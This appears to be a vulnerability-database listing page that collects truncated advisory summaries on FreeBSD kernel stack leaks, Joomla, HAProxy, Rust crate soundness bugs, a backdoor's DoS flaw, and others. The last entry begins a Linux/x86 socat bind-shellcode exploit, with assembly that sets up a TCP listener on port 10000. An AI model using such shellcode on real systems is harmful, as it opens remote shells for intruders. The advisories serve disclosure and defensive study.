CVE-2020-25579

In FreeBSD 12.2-STABLE before r368969, 11.4-STABLE before r369047, 12.2-RELEASE before p3, 12.1-RELEASE before p13 and 11.4-RELEASE before p7 msdosfs5 was failing to zero-fill a pair of padding fields in the dirent structure, resulting in a leak of three uninitialized bytes...

CVE-2020-25579

Removed by vendor...

Backdoor.Win32.Kwak.12 Denial Of Service

Discovery / credits: Malvuln - malvuln.com c 2021 Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34C.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Kwak.12 Vulnerability: Remote Denial of Service Description: The backdoor runs an FT...

GHSA-537H-RV9Q-VVPH Python-RSA decryption of ciphertext leads to DoS

Python-RSA before 4.1 ignores leading '\0' bytes during decryption of ciphertext. This could conceivably have a security-relevant impact, e.g., by helping an attacker to infer that an application uses Python-RSA, or if the length of accepted ciphertext affects application behavior such as by...

PT-2022-6828 · Haproxy +6 · Haproxy +6

Name of the Vulnerable Software and Affected Versions: HAProxy versions 2.1 through 2.7 before 2.7.1 HAProxy version 2.2 before 2.2.27 HAProxy version 2.3 HAProxy version 2.4 before 2.4.21 HAProxy version 2.5 before 2.5.11 HAProxy version 2.6 before 2.6.8 Description: An information leak issue wa...

CVE-2021-28030

An issue was discovered in the truetype crate before 0.30.1 for Rust. Attackers can read the contents of uninitialized memory locations via a user-provided Read operation within Tape::takebytes...

Information disclosure

An issue was discovered in Joomla! 3.2.0 through 3.9.24. The core shipped but unused randval implementation within FOF FOFEncryptRandval used an potential insecure implemetation. That has now been replaced with a call to 'randombytes' and its backport that is shipped within randomcompat...

PT-2021-15383 · Joomla · Joomla!

Name of the Vulnerable Software and Affected Versions: Joomla! versions 3.2.0 through 3.9.24 Description: An issue was discovered in the core shipped but unused randval implementation within FOF FOFEncryptRandval, which used a potentially insecure implementation. This has been replaced with a cal...

PT-2021-15382 · Joomla · Joomla!

Name of the Vulnerable Software and Affected Versions: Joomla! versions 3.2.0 through 3.9.24 Description: An issue was discovered in the usage of an insufficient length for the 2FA secret according to RFC 4226, where 10 bytes were used instead of the recommended 20 bytes. Recommendations: For...

Deserializing an array can drop uninitialized memory on panic

The readbytesdefaultle function for T; n arrays, used to deserialize arrays of T from bytes created a T; n array with std::mem::uninitialized and then called T's deserialization method. If T's deserialization method panicked, the uninitialized memory could drop invalid objects. This flaw was...

Qualcomm 封闭源组件 安全漏洞

The Qualcomm Component is a component of Qualcomm Incorporated USA. An intrinsic part that provides the functionality of Qualcomm devices. A security vulnerability exists in the Qualcomm Closed Source Component that stems from an out-of-bounds read exception that can occur when the UE receives an...

DEBIAN-CVE-2021-26955

An issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because xcb::xproto::GetAtomNameReply::name calls std::str::fromutf8unchecked on unvalidated bytes from an X server...

CVE-2021-26956

An issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because bytes from an X server can be interpreted as any data type returned by xcb::xproto::GetPropertyReply::value...

CVE-2021-26956

The CVE-2021-26956 issue affects the Rust xcb crate (pre-2021-02-04). Bytes from an X server can be interpreted as any data type returned by xcb::xproto::GetPropertyReply::value, causing a soundness violation. Reported CVSS data show a base score of 9.8 (CRITICAL) with network attack vector and n...

CVE-2021-26956

An issue was discovered in the xcb crate through 2021-02-04 for Rust. It has a soundness violation because bytes from an X server can be interpreted as any data type returned by xcb::xproto::GetPropertyReply::value...

RUSTSEC-2021-0017 `Read` on uninitialized buffer may cause UB (`impl Walue for Vec<u8>`)

Affected versions of this crate passes an uninitialized buffer to a user-provided Read implementation. Arbitrary Read implementations can read from the uninitialized buffer memory exposure and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory...

FreeBSD-SA-21:01.fsdisclosure

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-21:01.fsdisclosure Security Advisory The FreeBSD Project Topic: Uninitialized kernel stack leaks in several file systems Category: core Module: fs Announced:...

FreeBSD : FreeBSD -- Uninitialized kernel stack leaks in several file systems (a9c6e9be-61fb-11eb-b87a-901b0ef719ab)

Several file systems were not properly initializing the doff field of the dirent structures returned by VOPREADDIR. In particular, tmpfs5, smbfs5, autofs5 and mqueuefs5 were failing to do so. As a result, eight uninitialized kernel stack bytes may be leaked to userspace by these file systems. Thi...

golang: ReadUvarint and ReadVarint can read an unlimited number of bytes from invalid inputs

A flaw was found in the Go encoding/binary package. Certain invalid inputs to the ReadUvarint or the ReadVarint causes those functions to read an unlimited number of bytes from the ByteReader argument before returning an error. This flaw possibly leads to processing more input than expected. The...

Linux/x86 - Socat Bind Shellcode (113 bytes)

/ Exploit Title: Linux/x86 - Socat Bind Shellcode 113 bytes Author: Felipe Winsnes Tested on: Debian x86 Shellcode Length: 113 global start section .text start: xor eax, eax push eax PUSH 0x30303030 ; "tcp-listen:10000" PUSH 0x313a6e65 PUSH 0x7473696c PUSH 0x2d706374 mov esi, esp push eax PUSH...